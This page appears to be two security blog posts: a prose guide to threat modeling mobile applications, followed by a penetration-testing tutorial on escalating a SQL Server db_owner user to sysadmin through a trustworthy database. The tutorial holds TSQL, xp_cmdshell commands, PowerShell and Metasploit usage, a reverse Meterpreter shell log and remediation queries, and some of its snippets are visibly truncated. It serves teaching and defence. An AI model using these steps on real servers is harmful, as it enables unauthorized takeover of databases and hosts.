Mobile Application Threat Modeling

Mobile Application Landscape

As mobile applications have become an integral part of everyday life, it’s hard to believe just how young the platform really is.  When considering that seven years ago nobody has ever heard of iPhone or Android, and the first iPad came on the market a little over four years ago, it’s truly remarkable how quickly the technology was adopted by individuals and enterprises alike.  People trust the mobile platform with their most intimate information such as credit cards, passwords, and other sensitive information, closely followed by enterprises that allow use of mobile devices for every business functions where use of the mobile form-factor is practical.

Value of understanding the overall threat posture

Looking over the results of several of our penetration tests of mobile applications, I realized that while many people understand and focus on the limitations associated with mobile, few people take time to think about similarities and security implications of the mobile technology.  While limitations such as virtual keyboard, limited screen size, and limitations of the operating system take center-stage, security is often an afterthought, rife with weaknesses that would be plainly visible during a threat assessment.

Threat assessments are often ignored and misunderstood exercises that should be performed during the initial design phases of the development lifecycle.  However, if you (like so many) were not given time for the threat assessment when you were designing the application, it’s not too late now.  To help guide the process, I have provided a framework with which an application can be evaluated.  This should be able to help facilitate further discussions and remediation of design flaws, which can potentially make the application exploitable to malicious users.

Mobile Infrastructure

While there are many examples of stand-alone applications, the majority of what I will focus on here will be mobile applications that communicate with one or multiple other servers.  For those where a server component is not a factor, can simply focus on risks associated with mobile applications, which presents a much simpler problem.  For most, however, mobile applications require communication with a back-end system, in most instances over an untrusted network.  Therefore, when considering threats associated with the mobile application, it’s essential to remember the server components as well.  While mobile applications by themselves provide a threat landscape similar to “typical” thick applications, web services providing the data feeds to the applications add a threat profile similar to a web-application.  Additionally, since the two components of the mobile platform are inter-dependent, it’s also important to consider any business logic flaws (such as segregation of duties, regulatory compliance, and compliance with corporate policies), which may impact one or both components.  With that understanding, let’s look at each one in more details…


Mobile Application Threats

When evaluating the security model for a mobile application, consider that at its core, it’s a thick application, with the addition of limitations unique to the Mobile platform:

Platform-specific vulnerabilities

While Blackberry and Microsoft mobile operating systems remain in use, for the purpose of illustrating the threat model I will focus on Android and iOS, as they are more common and represent the significant majority of mobile applications.  When assessing mobile threats, it’s important to recognize the strengths and weaknesses of different platforms. For example, the ease with which Android applications can be reverse engineered should necessitate that the source code does not contain any information that may be considered sensitive, and require using stronger methods for protecting any certificates, passwords, or connection strings.  At the same time, the ease with which iOS Keychain can be cracked to extract sensitive information may necessitate avoiding relying on the device for secure storage of anything that may allow a malicious user to gain access.  When beginning to develop code for each platform, a detailed review of common weaknesses of each mobile operating system should be evaluated and considered when designing mitigating controls.

Single-user Platform

Yes, it’s obvious and self-explanatory, but when designing mobile software, it’s important to remember that most commonly, these are intended to be single-user devices.  While the same user is “intended” to be the one in possession of the device at all times, the portable nature of the platform makes this an unreasonable expectation, require some form of a user-acceptable re-authentication each time the device is turned on.  For those applications that are intended for multiple users, such as kiosks or other shared uses, additional precautions must be taken to ensure the system performs the necessary user identification, authentication, and authorization, as well as completely clears the session once the user is done (regardless whether the user logged out or the session has timed out)

Always Untrusted

There is really no other way to say it… assume anything typed into the application or the OS services providing security mechanisms can be compromised.  While each mobile OS tries to provide application developers with controls that can provide several levels of security, Jailbreaking or Rooting the OS makes these controls unreliable.  Even use of Mobile Device Management (MDM) technologies may not provide 100% assurance, though there are excellent ones hitting the marketplace every day.  While use of tools like Fuzzers on a mobile platform may seem farfetched, remember that these applications can be loaded into virtual mobile device environments, where automation can be used to identify any available input validation flaw very quickly.

Limited UI & Screen

In order for controls to be effective, they must be easy to use.  While the best way to authenticate the user is to prompt for username and password each time the application is opened, this may not be desirable if the application is frequently opened and closed.

Background Processing

Different operating systems handle this a little differently, but most allow applications to continue running, even after they are closed by the user or the device is turned off.  Understanding the need to clear sensitive data from memory and storage between uses and ensure the data is not accessible from any other application may require development of additional mitigating controls.

Storage Encryption Challenges

Ideally, devices should never store any sensitive information or data.  While onboard encryption and protection of encryption keys gets better with each Operating System release, key management challenges on a mobile platform become significant when considering the possibility of Jailbroken or Rooted device.

Web Services Threats

Web services are among the most common communication channels for mobile applications, and are a pivotal part of the security of the overall mobile application design.  While it may be hoped that the Web Service will remain largely invisible, it’s discovery by a malicious user is inevitable, and should necessitate considering the following threats commonly associated with web applications.

Trusted Security Perimeter

If you consider the mobile application threats above, the Web Services provide a trust barrier between untrusted and trusted computing environments.  Therefore, when considering threats associated with Web Services, it’s important to view the service layer as a critical component of the overall security strategy.  In many instances this necessitates hardening of the server, tight firewall configuration in front of the interface engine, and ensuring that it’s running in the DMZ and does not have direct access to the internal network.

Limited Authentication Options

Ideally, each new session should be fully authenticated, including appropriate identification, authentication, and authorization of each device and user.  However, considering the challenges associated with the usability and cryptographic storage within the mobile device platform, it’s important to design a comprehensive authentication and session management scheme that would resist common Man-in-the-Middle and other session hijacking attacks. Considerations such as mutual authentication may be necessary, depending on the sensitivity of the data managed by the application.

Input Validation

All inputs coming from the web application must be considered potentially harmful, and evaluated accordingly.  Failure to properly sanitize input remains one of the most common application vulnerabilities, and web-services are not an exception.

Error Handling

When building a service to be used for mobile applications, developers often assume that error message handling is not necessary, since the service is intended to be used exclusively for one application. Improper error handling can results in sensitive information disclosure, and assist the attack by supplying information about the database and other inter-workings of the system.

Auditing & Logging

Most statutory and regulatory requirements, as well as security best-practices, require appropriate audit-logging to be implemented as part of the application.  Therefore, it’s essential that the web service works together with the application to ensure all access to sensitive data and the application is logged.


Whether you are planning to develop a mobile application, or reviewing the security of an existing application, it’s never too late to perform a threat assessment.  While specific threats will differ for each, the basic concepts described above should apply to the majority of applications, and help guide the process of understanding all mobile application threats.


Hacking SQL Server Stored Procedures – Part 1: (un)Trustworthy Databases

SQL Server allows DBAs to set databases as “trustworthy”.  In a nutshell that means the trusted databases can access external resources like network shares, email functions, and objects in other databases.  This isn’t always bad, but when sysadmins create trusted databases and don’t change the owner to a lower privileged user the risks start to become noticeable.  In this blog I’ll show how database users commonly created for web applications can be used to escalate privileges in SQL Server when database ownership is poorly configured. This should be interesting to penetration testers, application developers, and dev-ops. Most DBAs already know this stuff.

I’ve provided a basic lab setup guide, but if you’re not interested feel free to jump ahead. Below is a summary of the topics being covered:

Setting up a Lab

Below I’ve provided some basic steps for setting up a SQL Server instance that can be used to replicate the scenarios covered in this blog/lab.

1. Download the Microsoft SQL Server Express install that includes SQL Server Management Studio.  It can be download at

2. Install SQL Server by following the wizard, but make sure to enable mixed-mode authentication and run the service as LocalSystem for the sake of the lab.

3. Log into the SQL Server with the “sa” account setup during installation using the SQL Server Management Studio application.

4. Press the “New Query” button and use the TSQL below to create a database named “MyAppDb” for the lab.

-- Create database
-- Verify sa is the owner of the application database
SELECT suser_sname(owner_sid)
FROM sys.databases
WHERE name = 'MyAppDb'

5. Press the “New Query” button and use the TSQL below to create a SQL Server login named “MyAppUser” for the lab.  In the real world a DBA will create an account like this to allow the application to connect to the database server.

-- Create login

6. Press the “New Query” button and use the TSQL below to assign “MyAppUser” the “db_owner” role in the “MyAppDb” database.  In the real world a DBA might do this so that a SQL Server login used by a web application can access what it needs in its application database.

-- Setup MyAppUsers the db_owner role in MyAppDb
ALTER LOGIN [MyAppUser] with default_database = [MyAppDb];
EXEC sp_addrolemember [db_owner], [MyAppUser];

7. Confirm the “MyAppUser” was added as db_owner.

-- Verify the user was added as db_owner
select as database_role, as database_user
from sys.database_role_members drm
join sys.database_principals rp on (drm.role_principal_id = rp.principal_id)
join sys.database_principals mp on (drm.member_principal_id = mp.principal_id)

8. Set the “MyAppDb” database as trusted.


9. The query below will return all of the databases in the SQL Server instance, and the “MyAppDb” and “MSDB” databases should be flagged as trustworthy.

FROM master..sysdatabases as a
INNER JOIN sys.databases as b

10. Use the TSQL below to enable xp_cmdshell.  Enabling this now will simplify the labs later, but it could be enabled by an attacker even if we didn’t enable it.

-- Enable show options
EXEC sp_configure 'show advanced options',1

-- Enable xp_cmdshell
EXEC sp_configure 'xp_cmdshell',1

Attacking the Trusted Database

According to Microsoft, configuring a database owned by a sysadmin as trusted will allow a privileged user to elevate their privileges.  I’ve found that to be partially true.  In some scenarios it’s also possible to elevate privileges as an unprivileged user, but I’ll cover that in future blogs. For now you can follow the instructions below to elevate the “MyAppUser” user’s privileges.

Note: This seems to work on SQL Server 2005, 2008 and 2012, but I haven’t tested beyond that.

1. Log into SQL Server as the “MyAppUser” user and execute the TSQL below to create a new stored procedure called “sp_elevate_me”. The procedure is created to run as the “OWNER”, which is the “sa” account in this case. Since this will run as the “sa” login, it’s possible to have the procedure add “MyAppUser” to the sysadmin fixed server role. This should be possible, because the db_owner role can create any stored procedure within their database, and the database has been configured as trusted.

-- Create a stored procedure to add MyAppUser to sysadmin role
CREATE PROCEDURE sp_elevate_me
EXEC sp_addsrvrolemember 'MyAppUser','sysadmin'

2. Verify the the “MyAppUser” is not a sysadmin.

--Verify MyAppUser is not a sysadmin
SELECT is_srvrolemember('sysadmin')

3. Next, execute the store procedure to add the “MyAppUser” to the sysadmin role.

-- Execute stored procedure to get sysadmin role
EXEC sp_elevate_me

4. Finally, verify that the “MyAppUser” was added to the sysadmin role with the query below.

-- Verify sysadmin role was added
SELECT is_srvrolemember('sysadmin')

5. Now that we are a sysadmin we can also execute operating system commands like the ones shown below.

-- Verify sysadmin role
EXEC master..xp_cmdshell 'whoami'

If you’re still wondering what just happened here is the quick break down.

  • The “sa” account is the database owner (DBO) of the “MyAppDb” database
  • The “MyAppUser” has the has the “db_owner” role in the “MyAppDb” database, which gives the “MyAppUser” user administrative privileges in that database
  • Since the “MyAppUser” account is essentially an administrator of the “MyAppDb” database, it can be used to create a stored procedure that can EXECUTE AS OWNER
  • In the example above we simply created a stored procedure to EXECUTE AS OWNER (which is “sa” in this case) that adds the “MyAppUser” to the sysadmin role. Tada! We are sysadmins!

Automating the Attack with PowerShell

I put together a little PowerShell script to automate the attack described above.  Below is a screen shot showing the basic usage.  For those who are interested, it can be downloaded from here.   It supports adding the sysadmin role to your current user or creating a whole new sysadmin login.  See the help section of the file for more information.

Import-Module  .Invoke-SqlServerDbElevateDbOwner.psm1
Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlServerInstance

Automating the Attack with Metasploit

I know some people love their Metasploit, so I also created an auxiliary module to automate the attack.  It will probably be the most useful during internal network penetration tests.  Special thanks to Juan Vazquez, Joshua Smith, and Spencer McIntyre for helping me get the module into the Metasploit Framework.

Below are the basic usage steps.

1. Type “msfupdate” on your Kali build to get the latest Metasploit Framework updates from Rapid7.

2. Run “msfconsole” in a terminal window.

3. Select and configure the module, but make sure to replace everything with your target’s info.

use auxiliary/admin/mssql/mssql_esclate_dbowner
set rhost
set rport 1433
set username db1_owner
set password MyPassword!

4. Run show options to make sure everything looks right.

5. If everything looks good run it.

6. Now you can use other modules like “mssql_payload” to get a shell.

msf exploit(mssql_payload) > use exploit/windows/mssql/mssql_payload
msf exploit(mssql_payload) > set rhost
rhost =>
msf exploit(mssql_payload) > set rport 1433
rport => 1433
msf exploit(mssql_payload) > set username db1_owner
username => db1_owner
msf exploit(mssql_payload) > set password MyPassword!
password => MyPassword!
msf exploit(mssql_payload) > exploit
[*] Started reverse handler on
[*] The server may have xp_cmdshell disabled, trying to enable it...
[*] Command Stager progress -   1.47% done (1499/102246 bytes)
[*] Sending stage (769536 bytes) to
[*] Command Stager progress - 100.00% done (102246/102246 bytes)
[*] Meterpreter session 1 opened ( -> at 2014-09-27 10:06:19 -0500
meterpreter > getuid
meterpreter >

Automating the Attack via SQL Injection with Metasploit

During external network penetration tests we don’t see a ton of SQL Servers open to the internet, but we do find a lot of SQL  injection.  That’s why I wrote this module.  Once again,  Juan Vazquez and Joshua Smith helped me get this module into Metasploit Framework – thanks guys.

Below are the basic usage steps.

1. Type “msfupdate” in your Kali biuld toto get the latest updates from Rapid7.

2. Run “msfconsole” in a terminal window.

3. Select and configure the module, but make sure to replace everything with your target’s info.

use auxiliary/admin/mssql/mssql_esclate_dbowner_sqli
set rhost
set rport 80
set GET_PATH /employee.asp?id=1+and+1=[SQLi];--

4. Run show options to make sure everything looks right.

5. If everything looks good run it.

6. Now you can use other modules like “mssql_payload_sqli”, or techniques like PowerShell reflection to get your shells.

Options for Fixing the Issue

Microsoft has some pretty good recommendations to help prevent this type of attack so I recommend checking out their web site for more information.  Naturally, the fixes will vary depending on the environment, application, and use cases, but below are a few options to get you started.

Check for databases that are set as TRUSTWORTHY and are owned by a sysadmin.

FROM sys.server_principals r
INNER JOIN sys.server_role_members m ON r.principal_id = m.role_principal_id
INNER JOIN sys.server_principals p ON
p.principal_id = m.member_principal_id
inner join sys.databases d on suser_sname(d.owner_sid) =
WHERE is_trustworthy_on = 1 AND NOT IN ('MSDB') and r.type = 'R' and = N'sysadmin'

If it’s possible, set TRUSTWORTHY to off for the affected databases (excluding MSDB).  This will help prevent the execution of xp_cmdshell and other bad things from within stored procedures.  It will also enforce a sandbox that only allows the stored procedure to access information associated with its own database.


Also, consider making the owner of the application database a user that is not a sysadmin.  There are alternatives to flagging databases as trustworthy if your application needs to access objects from external databases, CLR stored procedures etc.  Other common options include:

  • Enabling “cross db ownership chain”, but that comes with it’s own risks.  More information can be found at
  • Assigning application groups with the required privileges on external objects, but that can be a bit of a management pain.
  • Using certificate accounts and certificates to sign stored procedures that require access to external objects.  From what I’ve seen so far this seems like the best option, but you can check it out for yourself on Microsoft’s page at

Wrap Up

The issue covered in this blog/lab was intended to help pentesters, developers, and dev-ops understand how a few common misconfigurations can lead to the compromise of an entire SQL Server instance.  The attacks can be conducted through direct database connections, but are most likely to be done via SQL injection through web, desktop, and mobile applications.  Hopefully the information is useful.  Have fun and hack responsibly.


Discover how the NetSPI BAS solution helps organizations validate the efficacy of existing security controls and understand their Security Posture and Readiness.